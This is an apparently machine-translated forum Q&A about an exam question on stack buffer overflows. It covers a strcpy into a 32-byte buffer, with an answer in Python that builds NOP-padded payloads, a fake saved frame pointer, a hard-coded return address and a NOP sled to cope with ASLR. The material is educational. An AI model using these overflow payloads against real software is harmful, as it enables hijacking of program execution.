我正在审查下周的考试,我遇到了过去的问题。
void func(char * arg)
{
char buf[32];
strcpy(buf, arg);
}
假设;
a)你想运行一个24字节长的有效载荷,应该将哪些字节复制到缓冲区中以进行利用? (我想为24字节填写'\ x90')
b)如果启用ASLR,每次运行时将堆栈偏移0-15个字节,那么有效负载(在python print语句中描述)将始终获取上面的shellcode来执行?或者为什么这样的有效载荷不可能?
答案 0 :(得分:0)
a)gdb的输出与此函数的正常编译不一致:缓冲区顶部和ebp
之间应该有32个字节的差异。但是,0xbffebfd8 - 0xbffebfb0
是0x28
(40个字节)。我将假设这是不正确的,因为唯一的局部变量是buf
。
def hack(payload='\x90'*24):
filler = 'A'*(32 - len(payload)) # for rest of buffer
frame_ptr = struct.pack("<I", 0x42424242)
ret = struct.pack("<I", 0xbffebfb0) # jump to top of buffer
return payload + filler + frame_ptr + ret + '\0'
b)如果堆栈值每次改变0-15个字节,则需要插入一个15字节的NOP底座。
32(缓冲区长度)+ 4(保存的帧指针)= 36 36 - 15 = 21字节
这不足以容纳24字节的有效载荷。如果上面奇怪的gdb输出是正确的,那就足够了。
print ("\x90"*15 + # nop sled
payload +
'A'*(40 - len(payload) - 15) + # filler
struct.pack("<I", 0x42424242) + # saved frame pointer
struct.pack("<I", 0xbffebfb0) + # saved return address
'\0' )